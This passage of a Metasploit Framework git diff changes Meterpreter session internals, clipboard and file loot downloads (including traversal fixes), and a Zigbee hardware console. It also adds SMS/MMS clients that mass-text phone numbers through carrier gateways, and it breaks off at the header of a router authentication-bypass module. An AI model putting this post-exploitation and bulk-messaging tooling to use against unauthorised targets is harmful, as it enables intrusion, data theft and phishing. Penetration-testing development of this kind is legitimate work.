= '' bus_config_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], + '-h' => [ false, 'Help banner' ], '-b' => [ true, 'Target bus'] ) bus_config_opts.parse(args) do |opt, _idx, val| diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb new file mode 100644 index 0000000000..45408f88dc --- /dev/null +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb @@ -0,0 +1,125 @@ +# -*- coding: binary -*- +require 'rex/post/hwbridge' +require 'msf/core/auxiliary/report' + +module Rex +module Post +module HWBridge +module Ui + +### +# Zigbee extension - set of commands to be executed on Zigbee compatible devices +### +class Console::CommandDispatcher::Zigbee + include Console::CommandDispatcher + include Msf::Auxiliary::Report + + # + # List of supported commands. + # + def commands + all = { + 'supported_devices' => 'Get supported ZigBee devices', + 'target' => 'Set the target device id', + 'channel' => 'Set the channel' + } + + all + end + + # Sets the target device both in the UI class and in the base API + # @param device [String] Device ID + def set_target_device(device) + self.target_device = device + client.zigbee.set_target_device device + end + + # + # Lists all thesupported devices + # + def cmd_supported_devices + devices = client.zigbee.supported_devices + if !devices or !devices.has_key? "devices" + print_line("error retrieving list of devices") + return + end + devices = devices["devices"] + unless devices.size > 0 + print_line("none") + return + end + set_target_device(devices[0]) if devices.size == 1 + str = "Supported Devices: " + str << devices.join(', ') + str << "\nUse device name to set your desired device, default is: #{self.target_device}" + print_line(str) + end + + # + # Sets the default target device + # + def cmd_target(*args) + self.target_device = "" + device_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help banner' ], + '-d' => [ true, 'Device ID' ] + ) + device_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: target -d \n") + print_line(device_opts.usage) + return + when '-d' + set_target_device val + end + end + print_line("set target device to #{self.target_device}") + end + + # + # Sets the channel + # + def cmd_channel(*args) + chan = 11 + dev = self.target_device if self.target_device + xopts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help banner' ], + '-d' => [ true, 'ZigBee device' ], + '-c' => [ true, 'Channel number' ] + ) + xopts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: channel -c \n") + print_line(xopts.usage) + return + when '-d' + dev = val + when '-c' + chan = val.to_i + end + end + if !dev + print_line("You must specify or set a target device") + return + end + client.zigbee.set_channel(dev, chan) + print_line("Device #{dev} channel set to #{chan}") + end + + # + # Name for this dispatcher + # + def name + 'Zigbee' + end + + attr_accessor :target_device +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/channel.rb b/lib/rex/post/meterpreter/channel.rb index 078a08276f..dbb89d34ff 100644 --- a/lib/rex/post/meterpreter/channel.rb +++ b/lib/rex/post/meterpreter/channel.rb @@ -116,16 +116,13 @@ class Channel begin response = client.send_request(request) cid = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) - rescue RequestError - # Handle channel open failure exceptions + if cid.nil? + raise Rex::Post::Meterpreter::RequestError + end end - if cid - # Create the channel instance - klass.new(client, cid, type, flags) - else - raise Rex::ConnectionRefused - end + # Create the channel instance + klass.new(client, cid, type, flags) end ## diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index cc00ff8866..479102b788 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -325,6 +325,18 @@ class ClientCore < Extension Rex::Text.md5(mid.to_s.downcase.strip) end + def native_arch(timeout=nil) + # Not all meterpreter implementations support this + request = Packet.create_request('core_native_arch') + + args = [ request ] + args << timeout if timeout + + response = client.send_request(*args) + + response.get_tlv_value(TLV_TYPE_STRING) + end + def transport_remove(opts={}) request = transport_prepare_request('core_transport_remove', opts) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb index 8f2a26004c..eb2550ef9b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb @@ -222,7 +222,11 @@ class Dir < Rex::Post::Dir end dir_files.each { |src_sub| - dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub) + dst_sub = src_sub.dup + dst_sub.gsub!(::File::SEPARATOR, '_') # '/' on all systems + dst_sub.gsub!(::File::ALT_SEPARATOR, '_') if ::File::ALT_SEPARATOR # nil on Linux, '\' on Windows + + dst_item = ::File.join(dst, client.unicode_filter_encode(dst_sub)) src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub) if (src_sub == '.' or src_sub == '..') diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb index d7f487b5ea..9b693d5f2f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb @@ -1419,7 +1419,7 @@ class Def_kernel32 ["DWORD","nSize","in"], ]) - dll.add_function( 'GetModuleHandleA', 'DWORD',[ + dll.add_function( 'GetModuleHandleA', 'HANDLE',[ ["PCHAR","lpModuleName","in"], ]) @@ -1435,7 +1435,7 @@ class Def_kernel32 ["PDWORD","phModule","out"], ]) - dll.add_function( 'GetModuleHandleW', 'DWORD',[ + dll.add_function( 'GetModuleHandleW', 'HANDLE',[ ["PWCHAR","lpModuleName","in"], ]) @@ -1591,7 +1591,7 @@ class Def_kernel32 ["PDWORD","pdwHandleCount","out"], ]) - dll.add_function( 'GetProcessHeap', 'DWORD',[ + dll.add_function( 'GetProcessHeap', 'HANDLE',[ ]) dll.add_function( 'GetProcessHeaps', 'DWORD',[ @@ -2078,7 +2078,7 @@ class Def_kernel32 ["DWORD","dwFlags","in"], ]) - dll.add_function( 'HeapCreate', 'DWORD',[ + dll.add_function( 'HeapCreate', 'HANDLE',[ ["DWORD","flOptions","in"], ["DWORD","dwInitialSize","in"], ["DWORD","dwMaximumSize","in"], @@ -2258,23 +2258,23 @@ class Def_kernel32 ["PBLOB","lpCriticalSection","inout"], ]) - dll.add_function( 'LoadLibraryA', 'DWORD',[ + dll.add_function( 'LoadLibraryA', 'HANDLE',[ ["PCHAR","lpLibFileName","in"], ]) - dll.add_function( 'LoadLibraryExA', 'DWORD',[ + dll.add_function( 'LoadLibraryExA', 'HANDLE',[ ["PCHAR","lpLibFileName","in"], ["HANDLE","hFile","inout"], ["DWORD","dwFlags","in"], ]) - dll.add_function( 'LoadLibraryExW', 'DWORD',[ + dll.add_function( 'LoadLibraryExW', 'HANDLE',[ ["PWCHAR","lpLibFileName","in"], ["HANDLE","hFile","inout"], ["DWORD","dwFlags","in"], ]) - dll.add_function( 'LoadLibraryW', 'DWORD',[ + dll.add_function( 'LoadLibraryW', 'HANDLE',[ ["PWCHAR","lpLibFileName","in"], ]) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb index fc8af29404..385bc67c70 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb @@ -119,7 +119,7 @@ class DLL def process_function_call(function, args, client) raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length - if client.arch == ARCH_X64 + if client.native_arch == ARCH_X64 native = 'Q<' else native = 'V' diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb index 951cbcba8a..f225dc7f5e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb @@ -49,7 +49,7 @@ class MultiCaller # needed by DLL helper @win_consts = win_consts - if @client.arch == ARCH_X64 + if @client.native_arch == ARCH_X64 @native = 'Q<' else @native = 'V' diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index cb4a95702b..21bd21ac35 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -284,6 +284,20 @@ module PacketDispatcher # Reception # ## + + # + # Simple class to track packets and if they are in-progress or complete. + # + class QueuedPacket + attr_reader :packet + attr_reader :in_progress + + def initialize(packet, in_progress) + @packet = packet + @in_progress = in_progress + end + end + # # Monitors the PacketDispatcher's sock for data in its own # thread context and parsers all inbound packets. @@ -306,8 +320,8 @@ module PacketDispatcher begin rv = Rex::ThreadSafe.select([ self.sock.fd ], nil, nil, PING_TIME) if rv - packet = receive_packet - @pqueue << packet if packet + packet, in_progress = receive_packet + @pqueue << QueuedPacket.new(packet, in_progress) elsif self.send_keepalives && @pqueue.empty? keepalive end @@ -342,11 +356,11 @@ module PacketDispatcher tmp_channel = [] tmp_close = [] backlog.each do |pkt| - if(pkt.response?) + if(pkt.packet.response?) tmp_command << pkt next end - if(pkt.method == "core_channel_close") + if(pkt.packet.method == "core_channel_close") tmp_close << pkt next end @@ -365,7 +379,7 @@ module PacketDispatcher backlog.each do |pkt| begin - if ! dispatch_inbound_packet(pkt) + if ! dispatch_inbound_packet(pkt.packet, pkt.in_progress) # Keep Packets in the receive queue until a handler is registered # for them. Packets will live in the receive queue for up to # PACKET_TIMEOUT seconds, after which they will be dropped. @@ -373,13 +387,15 @@ module PacketDispatcher # A common reason why there would not immediately be a handler for # a received Packet is in channels, where a connection may # open and receive data before anything has asked to read. - if (::Time.now.to_i - pkt.created_at.to_i < PACKET_TIMEOUT) + # + # Also, don't bother saving incomplete packets if we have no handler. + if (!pkt.in_progress and ::Time.now.to_i - pkt.packet.created_at.to_i < PACKET_TIMEOUT) incomplete << pkt end end rescue ::Exception => e - dlog("Dispatching exception with packet #{pkt}: #{e} #{e.backtrace}", 'meterpreter', LEV_1) + dlog("Dispatching exception with packet #{pkt.packet}: #{e} #{e.backtrace}", 'meterpreter', LEV_1) end end @@ -459,12 +475,16 @@ module PacketDispatcher # Notifies a whomever is waiting for a the supplied response, # if anyone. # - def notify_response_waiter(response) + # For not-yet-complete responses, we might not be able to determine + # the response ID, in that case just let all waiters know that some + # responses are trickling in. + # + def notify_response_waiter(response, in_progress=false) handled = false self.waiters.each() { |waiter| - if (waiter.waiting_for?(response)) - waiter.notify(response) - remove_response_waiter(waiter) + if (in_progress || waiter.waiting_for?(response)) + waiter.notify(response, in_progress) + remove_response_waiter(waiter) unless in_progress handled = true break end @@ -498,7 +518,7 @@ module PacketDispatcher # Otherwise, the packet is passed onto any registered dispatch # handlers until one returns success. # - def dispatch_inbound_packet(packet) + def dispatch_inbound_packet(packet, in_progress=false) handled = false # Update our last reply time @@ -507,7 +527,7 @@ module PacketDispatcher # If the packet is a response, try to notify any potential # waiters if packet.response? - if (notify_response_waiter(packet)) + if (notify_response_waiter(packet, in_progress)) return true end end diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb index 5b33c7b7c5..4575381790 100644 --- a/lib/rex/post/meterpreter/packet_parser.rb +++ b/lib/rex/post/meterpreter/packet_parser.rb @@ -75,22 +75,27 @@ class PacketParser end end + in_progress = true + + # TODO: cipher decryption + if (cipher) + end + + # Deserialize the packet from the raw buffer + packet.from_r(self.raw) + # If we've finished reading the entire packet if ((self.hdr_length_left == 0) && (self.payload_length_left == 0)) - # TODO: cipher decryption - if (cipher) - end - - # Deserialize the packet from the raw buffer - packet.from_r(self.raw) - # Reset our state reset - return packet + # packet is complete! + in_progress = false end + + return packet, in_progress end protected diff --git a/lib/rex/post/meterpreter/packet_response_waiter.rb b/lib/rex/post/meterpreter/packet_response_waiter.rb index 5f2f1557d7..637e1b9a95 100644 --- a/lib/rex/post/meterpreter/packet_response_waiter.rb +++ b/lib/rex/post/meterpreter/packet_response_waiter.rb @@ -39,6 +39,9 @@ class PacketResponseWaiter # @return [Integer] request ID to wait for attr_accessor :rid + # @return [Boolean] indicates if part of the response has been received + attr_accessor :in_progress + # # Initializes a response waiter instance for the supplied request # identifier. @@ -46,6 +49,7 @@ class PacketResponseWaiter def initialize(rid, completion_routine = nil, completion_param = nil) self.rid = rid.dup self.response = nil + self.in_progress = false if (completion_routine) self.completion_routine = completion_routine @@ -69,14 +73,21 @@ class PacketResponseWaiter # # @param response [Packet] # @return [void] - def notify(response) + def notify(response, in_progress = false) if (self.completion_routine) - self.response = response - self.completion_routine.call(response, self.completion_param) + self.in_progress = in_progress + unless in_progress + self.response = response + self.completion_routine.call(response, self.completion_param) + end else self.mutex.synchronize do - self.response = response - self.cond.signal + self.in_progress = in_progress + unless in_progress + # complete packet, ready for processing... + self.response = response + self.cond.signal + end end end end @@ -92,7 +103,11 @@ class PacketResponseWaiter interval = nil if interval and interval == -1 self.mutex.synchronize do if self.response.nil? - self.cond.wait(self.mutex, interval) + loop do + self.cond.wait(self.mutex, interval) + break unless self.in_progress + self.in_progress = false + end end end return self.response diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 9c4b3ce920..7707e53c77 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -373,6 +373,12 @@ private def download_file( dest_folder, source ) stat = client.fs.file.stat( source ) base = ::Rex::Post::Meterpreter::Extensions::Stdapi::Fs::File.basename( source ) + + # Basename ends up with a single name/folder. This is the only point where it + # may be possible to do a dir trav up one folder. We need to check to make sure + # that the basename doesn't result in a traversal + return false if base == '..' + dest = File.join( dest_folder, base ) if stat.directory? @@ -386,6 +392,8 @@ private client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } end + + return true end def parse_dump(dump, get_images, get_files, download_path) @@ -406,15 +414,15 @@ private print_line(v) when 'Files' - total = 0 v.each do |f| print_line("Remote Path : #{f[:name]}") print_line("File size : #{f[:size]} bytes") if get_files - download_file( loot_dir, f[:name] ) + unless download_file(loot_dir, f[:name]) + print_error("Download of #{f[:name]} failed.") + end end print_line - total += f[:size] end when 'Image' diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index b76dda80cf..508d4820ea 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -309,15 +309,15 @@ class Console::CommandDispatcher::Stdapi::Fs end # - # Delete the specified file. + # Delete the specified file(s). # def cmd_rm(*args) if (args.length == 0) - print_line("Usage: rm file") + print_line("Usage: rm file1 [file2...]") return true end - client.fs.file.rm(args[0]) + args.each { |f| client.fs.file.rm(f) } return true end @@ -442,7 +442,7 @@ class Console::CommandDispatcher::Stdapi::Fs files.each do |file| src_separator = client.fs.file.separator src_path = file['path'] + client.fs.file.separator + file['name'] - dest_path = src_path.tr(src_separator, ::File::SEPARATOR) + dest_path = ::File.join(dest, ::Rex::FileUtils::clean_path(file['path'].tr(src_separator, ::File::SEPARATOR))) client.fs.file.download(dest_path, src_path, opts) do |step, src, dst| print_status("#{step.ljust(11)}: #{src} -> #{dst}") @@ -756,7 +756,11 @@ class Console::CommandDispatcher::Stdapi::Fs # Source and destination will be the same src_items << last if src_items.empty? - dest = last + if args.size == 1 + dest = last.split(/(\/|\\)/).last + else + dest = last + end # Go through each source item and upload them src_items.each { |src| diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index 8696fcd5ea..b190bed866 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -7,6 +7,8 @@ require 'rex/proto/drda' require 'rex/proto/iax2' require 'rex/proto/kerberos' require 'rex/proto/rmi' +require 'rex/proto/sms' +require 'rex/proto/mms' module Rex module Proto diff --git a/lib/rex/proto/mms.rb b/lib/rex/proto/mms.rb new file mode 100644 index 0000000000..c797510d36 --- /dev/null +++ b/lib/rex/proto/mms.rb @@ -0,0 +1,4 @@ +# -*- coding: binary -*- + +require 'rex/proto/mms/exception' +require 'rex/proto/mms/model' diff --git a/lib/rex/proto/mms/client.rb b/lib/rex/proto/mms/client.rb new file mode 100644 index 0000000000..e05b10cf51 --- /dev/null +++ b/lib/rex/proto/mms/client.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + class Client + + # @!attribute carrier + # @return [Symbol] The service provider for the phone numbers. + attr_accessor :carrier + + # @!attribute smtp_server + # @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings. + attr_accessor :smtp_server + + + # Initializes the Client object. + # + # @param [Hash] opts + # @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS) + # @option opts [Rex::Proto::mms::Model::Smtp] SMTP object + # + # @return [Rex::Proto::Mms::Client] + def initialize(opts={}) + self.carrier = opts[:carrier] + self.smtp_server = opts[:smtp_server] + + validate_carrier! + end + + + # Sends a media text to multiple recipients. + # + # @param phone_numbers [Array] An array of phone numbers. + # @param subject [String] MMS subject + # @param message [String] The message to send. + # @param attachment_path [String] (Optional) The attachment to include + # @param ctype [String] (Optional) The content type to use for the attachment + # + # @return [void] + def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil) + carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier] + recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" } + address = self.smtp_server.address + port = self.smtp_server.port + username = self.smtp_server.username + password = self.smtp_server.password + helo_domain = self.smtp_server.helo_domain + login_type = self.smtp_server.login_type + from = self.smtp_server.from + + smtp = Net::SMTP.new(address, port) + + begin + smtp.enable_starttls_auto + smtp.start(helo_domain, username, password, login_type) do + recipients.each do |r| + mms_message = Rex::Proto::Mms::Model::Message.new( + message: message, + content_type: ctype, + attachment_path: attachment_path, + from: from, + to: r, + subject: subject + ) + smtp.send_message(mms_message.to_s, from, r) + end + end + rescue Net::SMTPAuthenticationError => e + raise Rex::Proto::Mms::Exception, e.message + ensure + smtp.finish if smtp && smtp.started? + end + end + + + # Validates the carrier parameter. + # + # @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used. + def validate_carrier! + unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier) + raise Rex::Proto::Mms::Exception, 'Invalid carrier.' + end + end + + end + end + end +end diff --git a/lib/rex/proto/mms/exception.rb b/lib/rex/proto/mms/exception.rb new file mode 100644 index 0000000000..dda5e72d81 --- /dev/null +++ b/lib/rex/proto/mms/exception.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + class Exception < ::RuntimeError + end + end + end +end diff --git a/lib/rex/proto/mms/model.rb b/lib/rex/proto/mms/model.rb new file mode 100644 index 0000000000..6bbd343146 --- /dev/null +++ b/lib/rex/proto/mms/model.rb @@ -0,0 +1,24 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + + GATEWAYS = { + att:'mms.att.net', # AT&T Wireless + sprint: 'pm.sprint.com', # Sprint + tmobile: 'tmomail.net', # T-Mobile + verizon: 'vzwpix.com', # Verizon + google: 'msg.fi.google.com' # Google + } + + end + end + end +end + +require 'net/smtp' +require 'rex/proto/mms/model/smtp' +require 'rex/proto/mms/model/message' +require 'rex/proto/mms/client' diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb new file mode 100644 index 0000000000..2da3aa6f3b --- /dev/null +++ b/lib/rex/proto/mms/model/message.rb @@ -0,0 +1,108 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + class Message + + # @!attribute message + # @return [String] The text message + attr_accessor :message + + # @!attribute content_type + # @return [Fixnum] The content type of the attachment + attr_accessor :content_type + + # @!attribute attachment + # @return [String] The loaded attachment converted to Base64 + attr_accessor :attachment + + # @!attribute from + # @return [String] The from field in the email + attr_accessor :from + + # @!attribute to + # @return [String] The to field in the email + attr_accessor :to + + # @!attribute subject + # @return [String] The subject of the email + attr_accessor :subject + + # @!attribute attachment_name + # @return [String] The attachment base name extracted from :attachment + attr_accessor :attachment_name + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :from + # @option opts [String] :to + # @option opts [String] :message + # @option opts [String] :content_type + # @option opts [String] :attachment_path + # + # @return [Rex::Proto::Mms::Model::Message] + def initialize(opts={}) + self.from = opts[:from] + self.to = opts[:to] + self.message = opts[:message] + self.subject = opts[:subject] + self.content_type = opts[:content_type] + if opts[:attachment_path] + self.attachment = load_file_to_base64(opts[:attachment_path]) + self.attachment_name = File.basename(opts[:attachment_path]) + end + end + + + # Returns the raw MMS message + # + # @return [String] + def to_s + generate_mms_message + end + + + private + + + # Returns the loaded file in Base64 format + # + # @return [String] Base64 data + def load_file_to_base64(path) + buf = File.read(path) + (Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip + end + + + # Returns the raw MMS message + # + # @return [String] + def generate_mms_message + text = Rex::MIME::Message.new + text.add_part(self.message, 'text/plain; charset=UTF-8', nil) + body = Rex::MIME::Message.new + body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil) + if self.attachment + body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"") + end + + mms = "MIME-Version: 1.0\n" + mms << "From: #{self.from}\n" + mms << "To: #{self.to}\n" + mms << "Subject: #{self.subject}\n" + mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n" + mms << "\n" + mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_") + + mms + end + + end + end + end + end +end diff --git a/lib/rex/proto/mms/model/smtp.rb b/lib/rex/proto/mms/model/smtp.rb new file mode 100644 index 0000000000..994315db32 --- /dev/null +++ b/lib/rex/proto/mms/model/smtp.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + class Smtp + + # @!attribute address + # @return [String] SMTP address + attr_accessor :address + + # @!attribute port + # @return [Fixnum] SMTP port + attr_accessor :port + + # @!attribute username + # @return [String] SMTP account/username + attr_accessor :username + + # @!attribute password + # @return [String] SMTP password + attr_accessor :password + + # @!attribute login_type + # @return [Symbol] SMTP login type (:login, :plain, and :cram_md5) + attr_accessor :login_type + + # @!attribute from + # @return [String] Sender + attr_accessor :from + + # @!attribute helo_domain + # @return [String] The domain to use for the HELO SMTP message + attr_accessor :helo_domain + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :address + # @option opts [Fixnum] :port + # @option opts [String] :username + # @option opts [String] :password + # @option opts [String] :helo_domain + # @option opts [Symbol] :login_type + # @option opts [String] :from + # + # @return [Rex::Proto::Mms::Model::Smtp] + def initialize(opts={}) + self.address = opts[:address] + self.port = opts[:port] || 25 + self.username = opts[:username] + self.password = opts[:password] + self.helo_domain = opts[:helo_domain] || 'localhost' + self.login_type = opts[:login_type] || :login + self.from = opts[:from] || '' + end + + end + end + end + end +end diff --git a/lib/rex/proto/sms.rb b/lib/rex/proto/sms.rb new file mode 100644 index 0000000000..bac7a0e9d6 --- /dev/null +++ b/lib/rex/proto/sms.rb @@ -0,0 +1,4 @@ +# -*- coding: binary -*- + +require 'rex/proto/sms/exception' +require 'rex/proto/sms/model' diff --git a/lib/rex/proto/sms/client.rb b/lib/rex/proto/sms/client.rb new file mode 100644 index 0000000000..271dafdec1 --- /dev/null +++ b/lib/rex/proto/sms/client.rb @@ -0,0 +1,81 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Sms + class Client + + # @!attribute carrier + # @return [Symbol] The service provider for the phone numbers. + attr_accessor :carrier + + # @!attribute smtp_server + # @return [Rex::Proto::Sms::Model::Smtp] The Smtp object with the Smtp settings. + attr_accessor :smtp_server + + + # Initializes the Client object. + # + # @param [Hash] opts + # @option opts [Symbol] Service provider name (see Rex::Proto::Sms::Model::GATEWAYS) + # @option opts [Rex::Proto::Sms::Model::Smtp] SMTP object + # + # @return [Rex::Proto::Sms::Client] + def initialize(opts={}) + self.carrier = opts[:carrier] + self.smtp_server = opts[:smtp_server] + + validate_carrier! + end + + + # Sends a text to multiple recipients. + # + # @param phone_numbers [Array] An array of phone numbers. + # @param message [String] The text message to send. + # + # @return [void] + def send_text_to_phones(phone_numbers, message) + carrier = Rex::Proto::Sms::Model::GATEWAYS[self.carrier] + recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" } + address = self.smtp_server.address + port = self.smtp_server.port + username = self.smtp_server.username + password = self.smtp_server.password + helo_domain = self.smtp_server.helo_domain + login_type = self.smtp_server.login_type + from = self.smtp_server.from + + smtp = Net::SMTP.new(address, port) + + begin + smtp.enable_starttls_auto + smtp.start(helo_domain, username, password, login_type) do + recipients.each do |r| + smtp.send_message(message, from, r) + end + end + rescue Net::SMTPAuthenticationError => e + raise Rex::Proto::Sms::Exception, e.message + ensure + smtp.finish if smtp && smtp.started? + end + end + + + private + + + # Validates the carrier parameter. + # + # @raise [Rex::Proto::Sms::Exception] If an invalid service provider is used. + def validate_carrier! + unless Rex::Proto::Sms::Model::GATEWAYS.include?(self.carrier) + raise Rex::Proto::Sms::Exception, 'Invalid carrier.' + end + end + + end + end + end +end diff --git a/lib/rex/proto/sms/exception.rb b/lib/rex/proto/sms/exception.rb new file mode 100644 index 0000000000..241f879f20 --- /dev/null +++ b/lib/rex/proto/sms/exception.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Sms + class Exception < ::RuntimeError + end + end + end +end diff --git a/lib/rex/proto/sms/model.rb b/lib/rex/proto/sms/model.rb new file mode 100644 index 0000000000..c98ecf6dca --- /dev/null +++ b/lib/rex/proto/sms/model.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Sms + module Model + + GATEWAYS = { + :alltel => 'sms.alltelwireless.com', # Alltel + :att => 'txt.att.net', # AT&T Wireless + :boost => 'sms.myboostmobile.com', # Boost Mobile + :cricket => 'sms.mycricket.com', # Cricket Wireless + # Sprint is commented out, because the gateways don't seem to work. + # Gateways tried for Sprint: + # messaging.sprintpcs.com + # pm.sprint.com + #:sprint => 'messaging.sprintpcs.com', # Sprint + :tmobile => 'tmomail.net', # T-Mobile + :verizon => 'vtext.com', # Verizon + :virgin => 'vmobl.com', # Virgin Mobile + :google => 'msg.fi.google.com' # Google Project Fi + } + + end + end + end +end + +require 'net/smtp' +require 'rex/proto/sms/model/smtp' +require 'rex/proto/sms/client' diff --git a/lib/rex/proto/sms/model/smtp.rb b/lib/rex/proto/sms/model/smtp.rb new file mode 100644 index 0000000000..18edc9b4b0 --- /dev/null +++ b/lib/rex/proto/sms/model/smtp.rb @@ -0,0 +1,62 @@ +module Rex + module Proto + module Sms + module Model + class Smtp + + # @!attribute address + # @return [String] SMTP address + attr_accessor :address + + # @!attribute port + # @return [Fixnum] SMTP port + attr_accessor :port + + # @!attribute username + # @return [String] SMTP account/username + attr_accessor :username + + # @!attribute password + # @return [String] SMTP password + attr_accessor :password + + # @!attribute login_type + # @return [Symbol] SMTP login type (:login, :plain, and :cram_md5) + attr_accessor :login_type + + # @!attribute from + # @return [String] Sender + attr_accessor :from + + # @!attribute helo_domain + # @return [String] The domain to use for the HELO SMTP message + attr_accessor :helo_domain + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :address + # @option opts [Fixnum] :port + # @option opts [String] :username + # @option opts [String] :password + # @option opts [String] :helo_domain + # @option opts [Symbol] :login_type + # @option opts [String] :from + # + # @return [Rex::Proto::Sms::Model::Smtp] + def initialize(opts={}) + self.address = opts[:address] + self.port = opts[:port] || 25 + self.username = opts[:username] + self.password = opts[:password] + self.helo_domain = opts[:helo_domain] || 'localhost' + self.login_type = opts[:login_type] || :login + self.from = opts[:from] || '' + end + + end + end + end + end +end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 43ec078ac5..d400f5070d 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,7 +65,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.2.11' + spec.add_runtime_dependency 'metasploit-payloads', '1.2.19' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7' # Needed by msfgui and other rpc components @@ -77,7 +77,7 @@ Gem::Specification.new do |spec| # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture - spec.add_runtime_dependency 'packetfu' + spec.add_runtime_dependency 'packetfu', '1.1.13.pre' # For sniffer and raw socket modules spec.add_runtime_dependency 'pcaprub' # Needed for module caching in Mdm::ModuleDetails @@ -163,4 +163,6 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'openvas-omp' # Needed by metasploit nessus bridge spec.add_runtime_dependency 'nessus_rest' + # Nexpose Gem + spec.add_runtime_dependency 'nexpose' end diff --git a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb new file mode 100644 index 0000000000..1bed95dd56 --- /dev/null +++ b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb @@ -0,0 +1,233 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < 